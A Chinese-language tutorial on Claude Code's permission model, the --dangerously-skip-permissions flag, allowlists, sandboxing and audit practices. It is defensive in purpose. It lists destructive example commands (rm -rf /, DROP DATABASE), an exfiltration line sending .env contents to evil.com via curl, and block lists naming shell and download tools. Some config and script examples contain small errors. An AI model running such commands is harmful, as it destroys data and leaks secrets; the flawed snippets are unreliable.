Claude Code 的权限系统是保障代码安全的核心机制。本文将深入探讨权限模型的设计原理、`--dangerously-skip-permissions` 标志的真实风险与适用场景、工具白名单配置方法、沙箱环境搭建策略,以及企业级安全最佳实践。

Claude Code 权限管理与安全 — dangerously-skip-permissions 与工具白名单

简介

Claude Code 的权限系统是保障代码安全的核心机制。本文将深入探讨权限模型的设计原理、--dangerously-skip-permissions 标志的真实风险与适用场景、工具白名单配置方法、沙箱环境搭建策略,以及企业级安全最佳实践。

当 AI 编程助手被授权读取、编辑文件甚至执行命令时,权限管理就成为了一个不可回避的安全问题。想象一下,Claude Code 在不知情的情况下修改了你的数据库配置文件,或者执行了一个意外的破坏性命令——这些场景虽然在正确使用权限配置时几乎不会发生,但一旦忽视安全管理,后果可能是灾难性的。

--dangerously-skip-permissions 这个标志的名称本身就说明了它的危险性——Anthropic 特意在名称中加上 "dangerously" 这个词,就是为了提醒开发者谨慎使用。但这并不意味着它完全没有用途,关键在于理解风险边界并在合适的环境中使用。

目录

一、权限系统架构

1.1 权限模型

Claude Code 采用基于工具的权限控制模型(Tool-Based Permission Control):

text
┌─────────────────────────────────────────────────┐
│              Claude Code 权限层                   │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│  │  Read    │  │  Edit    │  │  Bash    │      │
│  │  读取文件 │  │ 编辑文件  │  │ 执行命令  │      │
│  └────┬─────┘  └────┬─────┘  └────┬─────┘      │
│       │             │             │              │
│  ┌────┴─────────────┴─────────────┴────┐        │
│  │         权限决策引擎                  │        │
│  │  ┌──────────────────────────────┐   │        │
│  │  │ 白名单 / 黑名单 / 自动允许    │   │        │
│  │  └──────────────────────────────┘   │        │
│  └─────────────────────────────────────┘        │
│                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│  │  Write   │  │  Glob    │  │  WebFetch │     │
│  │ 创建文件  │  │ 文件搜索  │  │ 网络请求  │      │
│  └──────────┘  └──────────┘  └──────────┘      │
│                                                 │
└─────────────────────────────────────────────────┘

1.2 权限类别

权限类型 工具 默认行为 风险等级
Read 读取文件 自动允许
Edit 编辑文件 需要确认
Bash 执行命令 需要确认
Write 创建文件 需要确认
Glob 文件搜索 自动允许
WebFetch 网络请求 需要确认

1.3 权限确认流程

text
Claude 请求使用工具
        │
        ▼
  ┌─────────────┐
  │ 是否在白名单?│
  └──────┬──────┘
         │
    ┌────┴────┐
    │ 是      │ 否
    ▼         ▼
  自动执行  ┌─────────────┐
           │ 用户确认?    │
           └──────┬──────┘
                  │
             ┌────┴────┐
             │ 允许    │ 拒绝
             ▼         ▼
           执行工具   返回拒绝

二、dangerously-skip-permissions 深度解析

2.1 什么是 dangerously-skip-permissions?

--dangerously-skip-permissions 是一个命令行标志,它会跳过所有工具的权限确认步骤,允许 Claude Code 自动执行所有操作。这个名字本身就传递了一个明确的信息:这个操作是危险的。Anthropic 选择如此醒目的命名方式,正是为了提醒开发者充分理解其风险后再做决定。

在实际使用中,这个标志的影响是全局性的——它不仅跳过了 Bash 命令的确认,也跳过了文件编辑、文件创建和网络请求的确认。这意味着 Claude Code 可以在你的项目目录中执行任意操作,包括修改关键配置文件、执行破坏性命令、甚至发送网络请求。因此,除非你完全信任当前的提示词内容并且在一个安全的环境中运行,否则不建议使用这个标志。

bash
# 启用(危险!)
claude -p "重构整个项目" --dangerously-skip-permissions

# 或在配置中设置
cat > ~/.claude/settings.json << 'EOF'
{
  "permissions": {
    "skipConfirmation": true
  }
}
EOF

2.2 ⚠️ 真实风险

风险 1:意外文件修改

bash
# 没有权限确认,Claude 可能意外修改关键文件
# 例如:将 .env 文件中的数据库密码改掉

# 安全做法:使用权限白名单
cat > ~/.claude/permissions.json << 'EOF'
{
  "allowedTools": ["Read", "Glob", "Edit"],
  "allowedPaths": ["src/", "tests/"],
  "blockedTools": ["Bash"],
  "blockedPaths": [".env", "config/secrets/", "*.pem"]
}
EOF

风险 2:危险命令执行

bash
# Claude 可能执行破坏性命令
rm -rf /
git reset --hard HEAD
DROP DATABASE production;

# 安全做法:命令白名单
cat > ~/.claude/permissions.json << 'EOF'
{
  "allowedCommands": [
    "pytest",
    "ruff",
    "mypy",
    "npm run build",
    "git status",
    "git diff"
  ],
  "blockedCommands": [
    "rm -rf",
    "git reset --hard",
    "DROP",
    "sudo",
    "chmod 777"
  ]
}
EOF

风险 3:数据泄露

bash
# Claude 可能将敏感数据发送到外部
curl -X POST https://evil.com -d "$(cat .env)"

# 安全做法:网络访问控制
cat > ~/.claude/permissions.json << 'EOF'
{
  "allowedDomains": [
    "api.github.com",
    "registry.npmjs.org",
    "pypi.org"
  ],
  "blockedDomains": ["*"]  # 默认禁止所有外部访问
}
EOF

2.3 ✅ 安全使用场景

--dangerously-skip-permissions 仅在以下场景可考虑使用:

  1. 隔离的 CI 环境:在临时容器中运行,无敏感数据
  2. 只读分析任务:仅使用 Read/Glob 工具的任务
  3. 沙箱测试环境:专用测试环境,可随时重建
  4. 受信任的代码库:内部项目,无外部依赖
bash
# 安全的 CI 使用方式
docker run --rm \
  -v $(pwd):/workspace \
  -w /workspace \
  node:20 \
  bash -c "
    npm install -g @anthropic-ai/claude-code &&
    claude -p '审查代码' \
      --dangerously-skip-permissions \
      --timeout 300 \
      --format json > review.json
  "

三、工具白名单配置

3.1 配置文件位置

text
~/.claude/
└── permissions.json    # 全局权限配置

项目目录/
└── .claude/
    └── permissions.json  # 项目级权限配置(覆盖全局)

3.2 完整配置示例

json
{
  "version": "1.0",
  "defaultPolicy": "ask",
  "tools": {
    "Read": {
      "policy": "allow",
      "description": "读取文件内容"
    },
    "Edit": {
      "policy": "ask",
      "allowedPaths": ["src/**/*", "tests/**/*"],
      "blockedPaths": [".env", "**/*.pem", "**/secrets/**"]
    },
    "Bash": {
      "policy": "ask",
      "allowedCommands": [
        "pytest",
        "ruff check",
        "mypy",
        "npm run",
        "git status",
        "git diff",
        "find",
        "grep",
        "cat",
        "ls",
        "wc"
      ],
      "blockedCommands": [
        "rm -rf /",
        "rm -rf /*",
        "sudo",
        "chmod 777",
        "curl -X POST",
        "wget"
      ]
    },
    "Write": {
      "policy": "ask",
      "allowedPaths": ["src/**/*", "tests/**/*", "docs/**/*"],
      "blockedPaths": [".env", "**/config/**", "**/secrets/**"]
    },
    "WebFetch": {
      "policy": "ask",
      "allowedDomains": [
        "api.github.com",
        "*.githubusercontent.com",
        "docs.python.org",
        "registry.npmjs.org"
      ],
      "blockedDomains": ["*"]
    }
  },
  "pathRules": {
    "allowed": [
      "src/**/*",
      "tests/**/*",
      "docs/**/*"
    ],
    "blocked": [
      ".env*",
      "**/*.key",
      "**/*.pem",
      "**/secrets/**",
      "**/.git/**"
    ]
  }
}

3.3 动态权限管理

bash
# 查看当前权限配置
claude permissions show

# 临时允许某个工具(当前会话)
claude permissions allow Bash --command "pytest"

# 临时拒绝某个工具(当前会话)
claude permissions deny WebFetch --domain "example.com"

# 重置为默认配置
claude permissions reset

# 导入权限配置
claude permissions import permissions.json

四、沙箱环境搭建

沙箱环境是在便利性和安全性之间找到平衡的最佳实践。通过在隔离的环境中运行 Claude Code,你可以安全地使用 --dangerously-skip-permissions 标志,而不必担心意外操作影响到真实的生产环境。

Docker 沙箱是最常用的方案,它提供了完整的操作系统级隔离——文件系统、网络、进程、用户权限都可以在容器层面进行精细控制。通过 --network=none 参数,你可以完全禁止容器访问网络,消除数据泄露的风险。通过 --memory--cpus 参数,你可以限制资源消耗,防止意外的大量请求。

4.1 Docker 沙箱

dockerfile
# Dockerfile.claude-sandbox
FROM ubuntu:22.04

# 安装必要工具
RUN apt-get update && apt-get install -y \
    nodejs npm python3 python3-pip git curl \
    && rm -rf /var/lib/apt/lists/*

# 安装 Claude Code
RUN npm install -g @anthropic-ai/claude-code

# 创建非 root 用户
RUN useradd -m claude-user
USER claude-user

# 设置工作目录
WORKDIR /workspace

# 限制资源
RUN echo "* soft nofile 1024" >> /etc/security/limits.conf
RUN echo "* hard nofile 2048" >> /etc/security/limits.conf

CMD ["claude", "--dangerously-skip-permissions"]
bash
# 运行沙箱
docker run --rm \
  --name claude-sandbox \
  --memory=512m \
  --cpus=1.0 \
  --network=none \
  -v $(pwd):/workspace:ro \
  claude-sandbox:latest \
  claude -p "审查代码" --dangerously-skip-permissions

4.2 Firejail 沙箱

bash
# 安装 Firejail
sudo apt install firejail

# 创建沙箱配置
cat > ~/.config/firejail/claude.profile << 'EOF'
# Claude Code 沙箱配置

# 网络限制
netfilter
private-network

# 文件系统限制
private-home
blacklist ~/.ssh
blacklist ~/.gnupg
blacklist /etc/shadow
blacklist /etc/passwd

# 只读工作目录
whitelist ${HOME}/projects/
read-only ${HOME}/projects/

# 进程限制
caps.drop all
seccomp
EOF

# 在沙箱中运行
firejail --profile=claude claude -p "审查代码"

4.3 macOS Sandbox

bash
# 使用 macOS Sandbox 配置文件
cat > claude.sb << 'EOF'
(version 1)

(deny default)

(allow file-read*
  (subpath "/Users/username/projects"))

(allow file-write*
  (subpath "/Users/username/projects/src")
  (subpath "/Users/username/projects/tests"))

(allow process-exec
  (literal "/usr/bin/python3")
  (literal "/usr/bin/git"))

(allow network-outbound
  (literal "api.anthropic.com"))
EOF

# 运行
sandbox-exec -f claude.sb claude -p "审查代码"

五、企业级安全策略

5.1 组织级权限模板

json
{
  "organization": "acme-corp",
  "policies": {
    "developer": {
      "description": "开发人员权限",
      "tools": {
        "Read": "allow",
        "Edit": "ask",
        "Bash": "ask",
        "Write": "ask",
        "WebFetch": "ask"
      },
      "maxBudgetUsd": 10.00,
      "maxTurns": 50
    },
    "reviewer": {
      "description": "代码审查员权限",
      "tools": {
        "Read": "allow",
        "Edit": "deny",
        "Bash": "deny",
        "Write": "deny",
        "WebFetch": "deny"
      },
      "maxBudgetUsd": 5.00,
      "maxTurns": 30
    },
    "ci-bot": {
      "description": "CI 机器人权限",
      "tools": {
        "Read": "allow",
        "Edit": "allow",
        "Bash": "allow",
        "Write": "allow",
        "WebFetch": "allow"
      },
      "maxBudgetUsd": 2.00,
      "maxTurns": 20,
      "allowedPaths": ["src/**/*", "tests/**/*"],
      "blockedPaths": ["**/.env*", "**/secrets/**"]
    }
  }
}

5.2 权限审计日志

bash
# 启用权限审计日志
cat > ~/.claude/settings.json << 'EOF'
{
  "audit": {
    "enabled": true,
    "logPath": "/var/log/claude-audit/",
    "format": "json",
    "includeToolCalls": true,
    "includeOutputs": false
  }
}
EOF

# 审计日志示例
cat /var/log/claude-audit/2024-01-15.json | jq '.'
json
{
  "timestamp": "2024-01-15T10:30:00Z",
  "user": "developer-01",
  "session": "abc123",
  "tool": "Bash",
  "command": "pytest tests/",
  "decision": "allowed",
  "reason": "command_in_whitelist",
  "duration_ms": 2500
}

六、安全审计与合规

6.1 安全检查清单

bash
#!/bin/bash
# claude-security-audit.sh

echo "🔒 Claude Code 安全审计"
echo "========================"

# 1. 检查权限配置
echo -e "\n📋 1. 权限配置检查"
if [ -f "~/.claude/permissions.json" ]; then
  echo "✅ 权限配置文件存在"
  if grep -q "dangerously-skip-permissions" ~/.claude/permissions.json; then
    echo "⚠️  检测到 dangerously-skip-permissions"
  fi
else
  echo "⚠️  权限配置文件不存在"
fi

# 2. 检查敏感文件
echo -e "\n📋 2. 敏感文件检查"
sensitive_files=(".env" "*.pem" "*.key" "id_rsa")
for pattern in "${sensitive_files[@]}"; do
  found=$(find . -name "$pattern" -type f 2>/dev/null | wc -l)
  if [ $found -gt 0 ]; then
    echo "⚠️  发现 $found$pattern 文件"
  fi
done

# 3. 检查网络访问
echo -e "\n📋 3. 网络访问检查"
if command -v lsof &> /dev/null; then
  claude_connections=$(lsof -i -P -n 2>/dev/null | grep -i claude | wc -l)
  echo "ℹ️  当前 Claude 连接数: $claude_connections"
fi

# 4. 检查 API Key
echo -e "\n📋 4. API Key 检查"
if [ -n "$ANTHROPIC_API_KEY" ]; then
  echo "✅ ANTHROPIC_API_KEY 已设置"
  if echo $ANTHROPIC_API_KEY | grep -q "sk-ant-api"; then
    echo "✅ API Key 格式正确"
  else
    echo "⚠️  API Key 格式可能不正确"
  fi
else
  echo "⚠️  ANTHROPIC_API_KEY 未设置"
fi

# 5. 检查审计日志
echo -e "\n📋 5. 审计日志检查"
if [ -d "/var/log/claude-audit" ]; then
  log_count=$(find /var/log/claude-audit -name "*.json" | wc -l)
  echo "✅ 审计日志存在,共 $log_count 个文件"
else
  echo "⚠️  审计日志目录不存在"
fi

echo -e "\n✅ 安全审计完成"

6.2 合规报告生成

bash
claude -p "
生成 Claude Code 使用合规报告,包含:
1. 过去 7 天的权限使用统计
2. 敏感操作记录
3. 预算使用情况
4. 安全事件(如有)
5. 改进建议

输出格式:Markdown
" > compliance-report.md

七、总结

Claude Code 的权限系统是保障代码安全的关键防线。--dangerously-skip-permissions 虽然方便,但会带来显著的安全风险,应仅在隔离环境中谨慎使用。通过合理的工具白名单配置、沙箱环境搭建和企业级安全策略,可以在便利性和安全性之间找到最佳平衡。

关键要点:

  • 默认情况下保持权限确认开启
  • 仅在隔离的 CI 环境中考虑使用 dangerously-skip-permissions
  • 使用工具白名单和路径规则限制 Claude 的操作范围
  • 在沙箱环境中运行不受信任的代码
  • 启用审计日志记录所有权限决策
  • 定期执行安全审计检查

八、下篇预告

Slash 命令全解 — 全面解析 Claude Code 内置的 Slash 命令,包括 /review、/compact、/model、/help、/clear 等,学习每个命令的参数、使用场景和最佳实践。